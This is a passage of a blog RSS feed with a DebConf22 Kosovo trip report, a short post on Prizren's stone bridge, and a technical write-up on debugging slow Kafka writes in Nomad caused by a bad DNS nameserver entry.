Being a non-meat eater, the first thing I was worried about before arriving at the venue was food as I read on the internet that Kosovo’s food is heavily based on meat. In my first lunch, I had only Veg Pasta multiple plates as most of the items in this lunch was meat-based. In the next two-three days, the availability of vegetarian food got better and I started enjoying the food. They started serving bean soup, vegetable soup, lentils and rice in the lunch time, expanding their vegetarian dishes. I enjoyed the food and it was way better than what I expected. The coconut and chocolate pastry served in the dinner time were delicious, and there was another delicious desert called Al-Baklava. Watermelon, Apples and Musk Melon, peach were frequently served fruits. The food got repetitive though after a point and it wasn’t as enjoyable, but I think it was still good as I am not sure if there is a lot of variety to expect from Kosovo in the vegetarian section.
The availability of drinking water was through the plastic bottles in the restaurant. In my opinion, this wastes a lot of plastic and is not an environment friendly option. Probably the locals were saying that the tap water is drinkable but it would still made sense to have a water filter in the dorms or water coolers etc.
DebConf
When the DebConf started on 17th July, new attendees started arriving in bigger numbers. Here I made many friends in the hacklab or when sitting over the lunch. As far as I remember, the most discussed topic was politics. They were very enthusiastic about telling their country’s history and the politics and asking me about the Indian culture, food etc.
The people were very very nice and I had a great time with the Debian community. The people were from very diverse backgrounds with each one having their unique stories on their involvement with Debian. On the other hand, there were people new to Debian and they asked my viewpoints on it, which gave me opportunities to propagate the Free Software Philosophy.
The participants ranged from being Google or Canonical employees to college students and high school students. I met a lot of students from Pristina, the capital of Kosovo, for whom the DebConf must have been a good opportunity. Since Debian is for everyone, there were many people from the non-technical side of Debian. I liked the fact that the attendees included people who didn’t know English, which gave more diversity.
I attended the talks whenever the topics seemed interesting to me. Since there were three tracks of talks happening simultaneously, I missed some of them. The dining, hacklab and the the accommodation were a bit far from each other. Further, it was mountaineous area and was not a easy breeze for me to get around in the campus so quickly.
There was a noisy hacklab and a silent hacklab. I used to hangout at the noisy hacklab as that gave me chance to meet new people. The noisy hacklab had free of charge coffee, while beer and water were given on the paid basis. Attendees could volunteer to be a bartender brewing and serving beer and coffee in the hacklab. The card games I played in the hacklab were very fun. Karl from the video team told me a long story on how much travelling video team has to do with the equipment and how hectic it is. I was totally ignorant about this aspect of DebConf before Karl told me this.
I didn’t spend a lot of time in my accommodation. I used to go there mainly for sleep and shower. The walls were thin, so there was an actual email sent in some debconf mailing list about not to talk loudly in the dorms. The rooms were spacious and had good air-conditioning. By the time DebConf started, dorms had a very good Wi-Fi connection.
I volunteered for some tasks for the video team. I was a talk meister in one talk– person who introduces the speaker and gives mic to people in audience who want to ask questions from the speaker, a camera operator in two of the talks.
Cheese and Wine Party
Cheese and Wine Party is a tradition of DebConf in which people bring food from their local areas to share with others. I brought Dal Samosa, which is a snack from my local place in India. This was, in general, liked by people in the party. I tried French alcoholic drink Pastis, which tasted like Fennel, and found it good. Cheese and Wine Party happened after the dinner, so I didn’t eat a lot. I had great conversations in the party with many people and it was fun.
Dal Samosa at a shop in India.
Credits: Ravi Dwivedi, CC BY-SA 4.0


DayTrip
The DayTrip was conducted by the DebConf to take time out of their schedule to visit some places in Kosovo. You can see all the options of DayTrips here.
I went to tour A: Bus tour of Eastern Kosovo. It covered Gadime Cave, Ulpiana Ancient City, Gracanica Monastery, Bear Sanctuary, Artana (Novoberda) Fortress. My feeling was that the day trip was trying to cover a lot of places, so it became more rushed. The places were beautiful and worth visiting in Kosovo. The tour featured an unexpected hiking in the Bear Sanctuary. The weather was sunny and very hot, so overall it was a tiring trip with beautiful places and good pictures.
The tour guide was excellent. He was informative and also took care of the people falling behind in the trip. We were joined by other guides, one at Marble Cave and the other at Gracanica Monestary. The guide at Marble cave was telling us about it in the Albanian langauge, which our tour guide was translating into English. The guides were very enthusiastic about the places they were telling us about. It was like an overdose of knowledge that day. We got a little late in our schedule and so we couldn’t really explore the Gracanica Monestary, we had to rush back to our destination after a few minutes.
Some photos from DayTrip taken by me:
Gracanica Lake



Gracanica Monestary



Beautiful views seen from the Bear Sanctuary

Conference Dinner
The Conference Dinner was held outside of the DebConf venue in Alegria Hotel. Here the food was a disappointment for non-meat eaters/vegan as the restaurant only gave rice and some snacks. At the conference dinner, I liked the Flija. I still had some good company at the conference dinner so it was still fun.
Keysigning
In Debian, people sign each other’s keys in order to make a web of trust. It usually involves an ID check. People will usually ask you for your pasport to verify that it is really you. I saw many countries’ passport when keysigning, which was fun. After the ID check and verifying your key fingerprint, they sign your keys. Tobi helped me in configuring caff so that I can easily sign keys, rather than doing it manually.
Goodbye Kosovo
All in all, it was a great trip to Kosovo and a very unique one. I am already out of Kosovo as of writing this. I would like to visit Kosovo again in my life. It was so good. Thanks a lot to all the organizers, sponsors and people who made my time fun at the DebConf 22 in Kosovo.
Attending a DebConf is a learning opportunity on many fronts, be it the diversity among the people, cultures, food, opinion, or the software side of Debian. Writing about my experience has been a challenge in itself. Hopefully, I was able to pin down my experience as there was lot to share.
Looking forward to see you all in the next edition of DebConf which will take place in my country India.
Update on 06-August-2022: I got the reimbursement of all my travel expenses related to DebConf22 in just 4 days of filling the reimbursement form. So quick!]]></description>
            <content:encoded><![CDATA[<p>I just came out of what has been one of the most wonderful experiences of my life– DebConf in Kosovo. DebConf is the annual conference of Debian contributors from all around the world. This was my first time attending a DebConf ever, which presented a great opportunity for me to explore different cultures and food, along with making many new friends in the Debian community as it <a href="https://www.debian.org/News/2022/20220724">featured 210 attendees from 38 countries</a>.</p>
<figure><a href="https://wiki.debian.org/DebConf/22/Organizers?action=AttachFile&amp;do=get&amp;target=debconflogo22l.png"><img src="https://ravidwivedi.in/images/debconf22-logo.png"
    alt="A bridge in the middle with a bird on the right and a spiral on the left. On the top, DebConf Kosovo is written while 22 is written at the bottom." width="250"></a><figcaption>
      <p>DebConf22 logo</p>
    </figcaption>
</figure>

<p>I registered and applied for bursary which was accepted by the DebConf bursary team. I applied for the Kosovo visa and after a long frustrating process of getting the visa, reached the venue of DebConf on 10th July 2022, which I have already written in detail. Getting Kosovo visa was already a great feat before DebConf and I am highly grateful to the organizers for putting their sincere efforts. Without this, it would not have been possible for us Indians to attend the event.</p>
<h3 id="the-venue">The Venue</h3>
<p>The DebConf venue was Innovation and Training Park in Prizren, Kosovo. As soon as we reached the ITP campus, our eyes were treated with beautiful views of mountains and blue sky in all directions. The natural beauty of the place was stunning. You take a random photo of this place and it will come off as beautiful. This is how good it was. The fact that the campus was a German military base till December 2019 spiced up many people’s interests in the history of the place and there were some discussions regarding this.</p>
<p>The city of Prizren has a bridge over the Lumbardhi river which also features in the DebConf 22 logo. The bridge is a must visit place in Prizren, in my opinion. There was also a castle, which had views of the beautiful city of Prizren, but I missed visiting it.</p>
<p>The DebCamp held from 10 July to 16 July 2022 and the DebConf happened from 17th-24th July 2022. Most of the people came at the time of DebConf and the DebCamp days did not had so many attendees. By the time DebConf started, I already got adjusted to the campus.</p>
<h3 id="food">Food</h3>
<p>Being a non-meat eater, the first thing I was worried about before arriving at the venue was food as I read on the internet that Kosovo’s food is heavily based on meat. In my first lunch, I had only Veg Pasta multiple plates as most of the items in this lunch was meat-based. In the next two-three days, the availability of vegetarian food got better and I started enjoying the food. They started serving bean soup, vegetable soup, lentils and rice in the lunch time, expanding their vegetarian dishes. I enjoyed the food and it was way better than what I expected. The coconut and chocolate pastry served in the dinner time were delicious, and there was another delicious desert called Al-Baklava. Watermelon, Apples and Musk Melon, peach were frequently served fruits. The food got repetitive though after a point and it wasn’t as enjoyable, but I think it was still good as I am not sure if there is a lot of variety to expect from Kosovo in the vegetarian section.</p>
<p>The availability of drinking water was through the plastic bottles in the restaurant. In my opinion, this wastes a lot of plastic and is not an environment friendly option. Probably the locals were saying that the tap water is drinkable but it would still made sense to have a water filter in the dorms or water coolers etc.</p>
<h3 id="debconf">DebConf</h3>
<p>When the DebConf started on 17th July, new attendees started arriving in bigger numbers. Here I made many friends in the hacklab or when sitting over the lunch. As far as I remember, the most discussed topic was politics. They were very enthusiastic about telling their country’s history and the politics and asking me about the Indian culture, food etc.</p>
<p>The people were very very nice and I had a great time with the Debian community. The people were from very diverse backgrounds with each one having their unique stories on their involvement with Debian. On the other hand, there were people new to Debian and they asked my viewpoints on it, which gave me opportunities to propagate the Free Software Philosophy.</p>
<p>The participants ranged from being Google or Canonical employees to college students and high school students. I met a lot of students from Pristina, the capital of Kosovo, for whom the DebConf must have been a good opportunity. Since Debian is for everyone, there were many people from the non-technical side of Debian. I liked the fact that the attendees included people who didn’t know English, which gave more diversity.</p>
<p>I attended the talks whenever the topics seemed interesting to me. Since there were three tracks of talks happening simultaneously, I missed some of them. The dining, hacklab and the the accommodation were a bit far from each other. Further, it was mountaineous area and was not a easy breeze for me to get around in the campus so quickly.</p>
<p>There was a noisy hacklab and a silent hacklab. I used to hangout at the noisy hacklab as that gave me chance to meet new people. The noisy hacklab had free of charge coffee, while beer and water were given on the paid basis. Attendees could volunteer to be a bartender brewing and serving beer and coffee in the hacklab. The card games I played in the hacklab were very fun. Karl from the video team told me a long story on how much travelling video team has to do with the equipment and how hectic it is. I was totally ignorant about this aspect of DebConf before Karl told me this.</p>
<p>I didn’t spend a lot of time in my accommodation. I used to go there mainly for sleep and shower. The walls were thin, so there was an actual email sent in some debconf mailing list about not to talk loudly in the dorms. The rooms were spacious and had good air-conditioning. By the time DebConf started, dorms had a very good Wi-Fi connection.</p>
<p>I volunteered for some tasks for the video team. I was a talk meister in one talk– person who introduces the speaker and gives mic to people in audience who want to ask questions from the speaker, a camera operator in two of the talks.</p>
<h3 id="cheese-and-wine-party">Cheese and Wine Party</h3>
<p>Cheese and Wine Party is a tradition of DebConf in which people bring food from their local areas to share with others. I brought Dal Samosa, which is a snack from my local place in India. This was, in general, liked by people in the party. I tried French alcoholic drink Pastis, which tasted like Fennel, and found it good. Cheese and Wine Party happened after the dinner, so I didn’t eat a lot. I had great conversations in the party with many people and it was fun.</p>
<figure>
<img src="https://upload.wikimedia.org/wikipedia/commons/4/42/Dal_Samosa.jpg" width="500">
<figcaption>Dal Samosa at a shop in India.
Credits: Ravi Dwivedi, <a href="https://creativecommons.org/licenses/by-sa/4.0">CC BY-SA 4.0</a>
</figcaption>
</figure>
<h3 id="daytrip">DayTrip</h3>
<p>The DayTrip was conducted by the DebConf to take time out of their schedule to visit some places in Kosovo. You can see all the options of DayTrips <a href="https://wiki.debian.org/DebConf/22/DayTrip/">here</a>.</p>
<p>I went to tour A: Bus tour of Eastern Kosovo. It covered Gadime Cave, Ulpiana Ancient City, Gracanica Monastery, Bear Sanctuary, Artana (Novoberda) Fortress. My feeling was that the day trip was trying to cover a lot of places, so it became more rushed. The places were beautiful and worth visiting in Kosovo. The tour featured an unexpected hiking in the Bear Sanctuary. The weather was sunny and very hot, so overall it was a tiring trip with beautiful places and good pictures.</p>
<p>The tour guide was excellent. He was informative and also took care of the people falling behind in the trip. We were joined by other guides, one at Marble Cave and the other at Gracanica Monestary. The guide at Marble cave was telling us about it in the Albanian langauge, which our tour guide was translating into English. The guides were very enthusiastic about the places they were telling us about. It was like an overdose of knowledge that day. We got a little late in our schedule and so we couldn’t really explore the Gracanica Monestary, we had to rush back to our destination after a few minutes.</p>
<p>Some photos from DayTrip taken by me:</p>
<figure>
<img src="https://upload.wikimedia.org/wikipedia/commons/c/c2/Gra%C4%8Danica_Lake%2C_Kosovo.jpg" width="500">
<figcaption>Gracanica Lake</figcaption>
</figure>
<figure>
<img src="https://upload.wikimedia.org/wikipedia/commons/2/2e/Gra%C4%8Danica_Monastery_entry.jpg" width="500">
<figcaption>Gracanica Monestary</figcaption>
</figure>
<figure>
<img src="https://upload.wikimedia.org/wikipedia/commons/1/17/Views_from_the_Bear_Sanctuary_in_Pristina%2C_Kosovo.jpg" width="500">
<figcaption>Beautiful views seen from the Bear Sanctuary</figcaption>
</figure>
<h3 id="conference-dinner">Conference Dinner</h3>
<p>The Conference Dinner was held outside of the DebConf venue in Alegria Hotel. Here the food was a disappointment for non-meat eaters/vegan as the restaurant only gave rice and some snacks. At the conference dinner, I liked the Flija. I still had some good company at the conference dinner so it was still fun.</p>
<h3 id="keysigning">Keysigning</h3>
<p>In Debian, people sign each other’s keys in order to make a <a href="https://en.wikipedia.org/wiki/Web_of_trust">web of trust</a>. It usually involves an ID check. People will usually ask you for your pasport to verify that it is really you. I saw many countries’ passport when keysigning, which was fun. After the ID check and verifying your key fingerprint, they sign your keys. Tobi helped me in configuring <a href="https://manpages.debian.org/unstable/signing-party/caff.1.en.html">caff</a> so that I can easily sign keys, rather than doing it manually.</p>
<h3 id="goodbye-kosovo">Goodbye Kosovo</h3>
<p>All in all, it was a great trip to Kosovo and a very unique one. I am already out of Kosovo as of writing this. I would like to visit Kosovo again in my life. It was so good. Thanks a lot to all the organizers, sponsors and people who made my time fun at the DebConf 22 in Kosovo.</p>
<p>Attending a DebConf is a learning opportunity on many fronts, be it the diversity among the people, cultures, food, opinion, or the software side of Debian. Writing about my experience has been a challenge in itself. Hopefully, I was able to pin down my experience as there was lot to share.</p>
<p>Looking forward to see you all in the <a href="https://wiki.debian.org/DebConf/23">next edition of DebConf</a> which will take place in my country India.</p>
<p>Update on 06-August-2022: I got the reimbursement of all my travel expenses related to DebConf22 in just 4 days of filling the reimbursement form. So quick!</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Trip to Prizren Bridge]]></title>
            <link>https://ravidwivedi.in/posts/trip-to-prizren-bridge/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/trip-to-prizren-bridge/</guid>
            <pubDate>Sat, 16 Jul 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Yesterday I went to Prizren stone bridge, which is in Prizren, Kosovo. Prizren is often referred to as the cultural capital of Kosovo.
I am staying at the venue of DebConf 22 from where it is walkable distance, around 1.5 km.
Prizren Stone bridge.

I was going with my friends who were also attending the DebConf 22. We reached the bridge at around 20:30 hours time (Kosovo follows Central European Time). It is in the city center and the views were very beautiful. Lumbardhi river flows below the bridge with beautiful mountains surrounding on all sides.

      
Sinan Pasha Mosque
The bridge also gives a nice view of Sinan Pasha Mosque , which is a very important monument of the Prizren city, built in the Ottoman architecture style.
Near the bridge, a person was roasting corn which costed €1 per piece. The corn was soft, but did not have many kernels.
A street-side vendor roasting corn near the Prizren bridge.

Found this beautiful take home souvenier in the shape of Prizren stone bridge.
Souvenier from Prizren Bridge.]]></description>
            <content:encoded><![CDATA[<p>Yesterday I went to <a href="https://en.wikipedia.org/wiki/Old_Stone_Bridge,_Prizren">Prizren stone bridge</a>, which is in Prizren, Kosovo. Prizren is often referred to as the cultural capital of Kosovo.</p>
<p>I am staying at the venue of <a href="https://debconf22.debconf.org/">DebConf 22</a> from where it is walkable distance, around 1.5 km.</p>
<figure>
<img src="https://ravidwivedi.in/images/prizren-bridge.avif" width="700px">
<figcaption>Prizren Stone bridge.</figcaption>
</figure>
<p>I was going with my friends who were also attending the DebConf 22. We reached the bridge at around 20:30 hours time (Kosovo follows Central European Time). It is in the city center and the views were very beautiful. Lumbardhi river flows below the bridge with beautiful mountains surrounding on all sides.</p>
<figure><img src="https://ravidwivedi.in/images/sinan-pasha-mosque.avif"><figcaption>
      <h4>Sinan Pasha Mosque</h4>
    </figcaption>
</figure>

<p>The bridge also gives a nice view of Sinan Pasha Mosque , which is a very important monument of the Prizren city, built in the Ottoman architecture style.</p>
<p>Near the bridge, a person was roasting corn which costed €1 per piece. The corn was soft, but did not have many kernels.</p>
<figure>
<img src="https://ravidwivedi.in/images/person-roasting-corn-at-prizren-bridge.avif">
<figcaption>A street-side vendor roasting corn near the Prizren bridge.</figcaption>
</figure>
<p>Found this beautiful take home souvenier in the shape of Prizren stone bridge.</p>
<figure>
<img src="https://ravidwivedi.in/images/stone-bridge-souvenir.avif">
<figcaption>Souvenier from Prizren Bridge.</figcaption>
</figure>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Debugging DNS Issues in Nomad]]></title>
            <link>https://mrkaran.dev/posts/dns-nomad/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/dns-nomad/</guid>
            <pubDate>Wed, 13 Jul 2022 18:30:00 GMT</pubDate>
            <description><![CDATA[At work, my colleagues and I stumbled upon a hair-pulling networking issue involving a specific problem when connecting to a Kafka cluster. We use the franz-go library in our Golang applications to interact with an external Kafka cluster. These Go apps are hosted inside a Nomad cluster and running with the exec driver.
The Issue#
Solving issues where a specific condition happens only sometimes is terribly difficult to debug because you need to reproduce the bug in a controlled environment. Our issue was that writing the first message to a Kafka topic took unusually high time (>5 seconds) while the writes of subsequent messages were instant. The following messages were instant for the next 30s, and then the write again took >5s.
The request flow looks something like this:
Go app in Nomad cluster (bridge mode) -> Kafka node in a Kafka cluster
Both apps are inside the same VPC running on AWS EC2 instances. The Nomad task is running with network.mode=bridge, which means that there are some iptables rules configured to do SNAT/DNAT translation to forward packets from the default bridge network (nomad) to the default ethernet interface (ens5).
We have a couple of other Nomad clusters in our environment and regularly use external EC2 instances to communicate, and we’ve never observed any slowdowns in our existing applications. This behaviour seemed something specific to Kafka. However, we discovered that we could not reproduce the high wait time issue in Kafka when the message was sent from a task running as host mode. So now, we had two conflicting things which made this issue strange:
Issue happens in bridge mode, not in host mode.
Issue happens only with Kafka nodes, not with any external services - even in bridge mode.
We spent a lot of time dissecting our apps, turning on TRACE level logging for Kafka clusters and enabling debug mode in franz-go. One of the significant challenges for us was that even an idle Kafka cluster could be super chatty, producing ~1Mn records for a few minutes when run with TRACE. Cutting through the noise and finding the exact point where the slowdown happened turned out to be more difficult than expected.
However, with the debug logs in franz-go, we’d arrived at a breakthrough which helped us narrow down the issue. We saw the write_wait time to be ~5s in the logs emitted by franz-go. The subsequent messages had write_wait as low as a few microseconds. What was puzzling was why Kafka took so much time to wait before writing the bytes to the underlying socket.
We forked the franz-go library and added a bunch of our custom logs to figure out where and why exactly the slowdown happens. One issue in the logs emitted by franz-go was that no timestamps were attached to the logger. We added that and deployed the binaries with the patched version. This time we immediately found the logs, which pointed that it took ~5s from the time it initiated the connection to the Kafka broker node and the time it was able to connect to the node.
The Fix#
The node’s address was an internal hostname kafka-abc.private-zone.internal. We postulated that it could be a DNS resolver issue. We did a dig kafka-abc.private-zone.internal and instantly got the record. Maybe it’s cached? We decided to verify the /etc/resolv.conf till we waited for the TTL of the record to expire. Opening this seemingly innocent /etc/resolv.conf revealed what the issue was DNS indeed.
nameserver bad
nameserver good
We had an unreachable nameserver address in the nameserver list. The first message has ~5s write timeout because /etc/resolv.conf has a 5s default timeout in case the nameserver is unreachable. Go’s DNS resolver picked up the second resolver, which cached the DNS records until the record’s TTL (30 seconds). Subsequent Kafka write messages on the topic worked without any issues in the TTL window. When the DNS record expires, rinse, and repeat. We later found the source of the bad nameserver came from our Nomad client initialising script.
Takeaways#
We use a custom Nomad client initialising script in our Nomad clusters to populate the chroot_env. Since, by default, the chroot provided by Nomad copies the/usr/ directory, we found that it increased the initial startup time of the alloc. It made sense to customise the chroot_env with the list of binaries and config files we would need.
One of the configs happens to be /etc/resolv.conf, which DNS resolvers use to resolve queries. On the host, we have systemd-resolve running and /etc/resolv.conf is configured with the stub resolver address. However, since that address (127.0.0.53) is unreachable by the bridge network in Nomad, we mount our custom config, which looks like:
nameserver 10.100.0.2
options edns0 trust-ad
search ap-south-1.compute.internal
The nameserver represents the AWS R53 resolver running in all VPCs if configured with enableDnsSupport in VPC settings.
The above config ensures that all DNS queries for the tasks inside the bridge network go directly to the AWS R53 resolver. The resolver can do DNS Lookups for the private zones associated with the R53 in that VPC and forward all other hostnames to their own upstream DNS resolver.
Fun Fact#
If you don’t mount a custom /etc/resolv.conf, then DNS resolution is broken by default in any Nomad exec task. You can quickly reproduce it with this task definition:
job "sleep" {
  datacenters = ["dc1"]
  type        = "service"
  group "sleep" {
    count = 1
    task "sleep" {
      driver = "exec"
      config {
        command = "bash"
        args    = ["-c", "sleep infinity"]
      }
    }
  }
}
Run a Nomad agent in -dev mode:
nomad agent -dev
nomad run sleep.nomad
When you exec inside the alloc:
$ nomad alloc exec -i -t -task sleep 8b4a0a82 /bin/sh
$ cat /etc/resolv.conf
nameserver 127.0.0.1
$ dig mrkaran.dev
;; communications error to 127.0.0.1#53: connection refused
I believe Nomad should bootstrap some DNS resolver or a relevant iptables rule for the exec tasks so that DNS can be resolved by default without the need to mount a custom config. For comparison, a docker also bootstraps the container with a customisable /etc/resolv.conf, and the settings can be specified either at runtime and fallback to the global settings in /etc/docker/daemon.json.
I hope this post helps someone solve these weird DNS issues when running tasks with the bridge network and exec task driver in the Nomad cluster.
Like they say:

Fin!]]></description>
            <content:encoded><![CDATA[<p>At work, my colleagues and I stumbled upon a hair-pulling networking issue involving a specific problem when connecting to a Kafka cluster. We use the <a rel="external" href="https://github.com/twmb/franz-go">franz-go</a> library in our Golang applications to interact with an external Kafka cluster. These Go apps are hosted inside a <a rel="external" href="https://www.nomadproject.io/">Nomad</a> cluster and running with the <a rel="external" href="https://www.nomadproject.io/docs/drivers/exec">exec</a> driver.</p>
<h2 id="the-issue">The Issue<a class="zola-anchor" href="#the-issue" aria-label="Anchor link for: the-issue">#</a></h2>
<p>Solving issues where a specific condition happens <em>only</em> sometimes is terribly difficult to debug because you need to reproduce the bug in a controlled environment. Our issue was that writing the <strong>first</strong> message to a Kafka topic took unusually high time (&gt;5 seconds) while the writes of subsequent messages were instant. The following messages were instant for the next 30s, and then the write again took &gt;5s.</p>
<p>The request flow looks something like this:</p>
<p><em>Go app in Nomad cluster (bridge mode) -&gt; Kafka node in a Kafka cluster</em></p>
<p>Both apps are inside the same VPC running on AWS EC2 instances. The Nomad task is running with <code>network.mode=bridge</code>, which means that there are some <code>iptables</code> rules configured to do SNAT/DNAT translation to forward packets from the default bridge network (<code>nomad</code>) to the default ethernet interface (<code>ens5</code>).</p>
<p>We have a couple of other Nomad clusters in our environment and regularly use external EC2 instances to communicate, and we’ve never observed any slowdowns in our existing applications. This behaviour seemed something specific to Kafka. However, we discovered that we could not reproduce the high wait time issue in Kafka when the message was sent from a task running as <em>host</em> mode. So now, we had two conflicting things which made this issue strange:</p>
<ul>
<li>Issue happens in <code>bridge</code> mode, not in <code>host</code> mode.</li>
<li>Issue happens only with Kafka nodes, not with any external services - even in bridge mode.</li>
</ul>
<p>We spent a lot of time dissecting our apps, turning on <code>TRACE</code> level logging for Kafka clusters and enabling debug mode in <code>franz-go</code>. One of the significant challenges for us was that even an idle Kafka cluster could be super <strong>chatty</strong>, producing ~1Mn records for a few minutes when run with <code>TRACE</code>. Cutting through the noise and finding the exact point where the slowdown happened turned out to be more difficult than expected.</p>
<p>However, with the debug logs in <code>franz-go</code>, we’d arrived at a breakthrough which helped us narrow down the issue. We saw the <code>write_wait</code> time to be ~5s in the logs <a rel="external" href="https://github.com/twmb/franz-go/blob/6c87885d13a36dfadd42ffa2c2c58cb81646a93a/pkg/kgo/broker.go#L969">emitted</a> by <code>franz-go</code>. The subsequent messages had <code>write_wait</code> as low as a few microseconds. What was puzzling was why Kafka took so much time to wait before writing the bytes to the underlying socket.</p>
<p>We forked the franz-go library and added a bunch of our custom logs to figure out where and why exactly the slowdown happens. One issue in the logs emitted by franz-go was that no timestamps were attached to the logger. We added that and deployed the binaries with the patched version. This time we immediately found the logs, which pointed that it took ~5s from the time it <a rel="external" href="https://github.com/twmb/franz-go/blob/6c87885d13a36dfadd42ffa2c2c58cb81646a93a/pkg/kgo/broker.go#L570">initiated the connection</a> to the Kafka broker node and the time it was able to <a rel="external" href="https://github.com/twmb/franz-go/blob/6c87885d13a36dfadd42ffa2c2c58cb81646a93a/pkg/kgo/broker.go#L570">connect to the node</a>.</p>
<h2 id="the-fix">The Fix<a class="zola-anchor" href="#the-fix" aria-label="Anchor link for: the-fix">#</a></h2>
<p>The node’s address was an internal hostname <code>kafka-abc.private-zone.internal</code>. We postulated that it could be a DNS resolver issue. We did a <code>dig kafka-abc.private-zone.internal</code> and instantly got the record. Maybe it’s cached? We decided to verify the <code>/etc/resolv.conf</code> till we waited for the TTL of the record to expire. Opening this seemingly innocent <code>/etc/resolv.conf</code> revealed what the issue was DNS indeed.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>nameserver bad</span></span>
<span class="giallo-l"><span>nameserver good</span></span></code></pre>
<p>We had an <em>unreachable</em> nameserver address in the <code>nameserver</code> list. The first message has ~5s write timeout because <code>/etc/resolv.conf</code> has a 5s default timeout in case the nameserver is unreachable. Go’s DNS resolver picked up the second resolver, which cached the DNS records until the record’s TTL (30 seconds). Subsequent Kafka write messages on the topic worked without any issues in the TTL window. When the DNS record expires, rinse, and repeat. We later found the source of the bad nameserver came from our Nomad client initialising script.</p>
<h2 id="takeaways">Takeaways<a class="zola-anchor" href="#takeaways" aria-label="Anchor link for: takeaways">#</a></h2>
<p>We use a custom Nomad client initialising script in our Nomad clusters to populate the <code>chroot_env</code>. Since, by default, the <a rel="external" href="https://www.nomadproject.io/docs/drivers/exec#chroot">chroot</a> provided by Nomad copies the<code>/usr</code>/ directory, we found that it increased the initial startup time of the alloc. It made sense to customise the <code>chroot_env</code> with the list of binaries and config files we would need.</p>
<p>One of the configs happens to be <code>/etc/resolv.conf</code>, which DNS resolvers use to resolve queries. On the host, we have <code>systemd-resolve</code> running and <code>/etc/resolv.conf</code> is configured with the stub resolver address. However, since that address (<code>127.0.0.53</code>) is unreachable by the <em>bridge</em> network in Nomad, we mount our custom config, which looks like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>nameserver 10.100.0.2</span></span>
<span class="giallo-l"><span>options edns0 trust-ad</span></span>
<span class="giallo-l"><span>search ap-south-1.compute.internal</span></span></code></pre>
<p>The <code>nameserver</code> represents the AWS R53 resolver running in all VPCs if configured with <a rel="external" href="https://docs.aws.amazon.com/vpc/latest/userguide/vpc-dns.html">enableDnsSupport</a> in VPC settings.</p>
<p>The above config ensures that all DNS queries for the tasks inside the bridge network go directly to the AWS R53 resolver. The resolver can do DNS Lookups for the private zones associated with the R53 in that VPC and forward all other hostnames to their own upstream DNS resolver.</p>
<h3 id="fun-fact">Fun Fact<a class="zola-anchor" href="#fun-fact" aria-label="Anchor link for: fun-fact">#</a></h3>
<p>If you don’t mount a custom <code>/etc/resolv.conf</code>, then DNS resolution is broken by default in any Nomad exec task. You can quickly reproduce it with this task definition:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">job</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;sleep&quot;</span><span> {</span></span>
<span class="giallo-l"><span>  datacenters</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">dc1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>  type</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">service</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  group</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;sleep&quot;</span><span> {</span></span>
<span class="giallo-l"><span>    count</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    task</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;sleep&quot;</span><span> {</span></span>
<span class="giallo-l"><span>      driver</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">exec</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      config</span><span> {</span></span>
<span class="giallo-l"><span>        command</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">bash</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        args</span><span style="color: light-dark(#D73A49, #F47067);">    =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">-c</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">sleep infinity</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Run a Nomad agent in <code>-dev</code> mode:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> agent</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">dev</span></span>
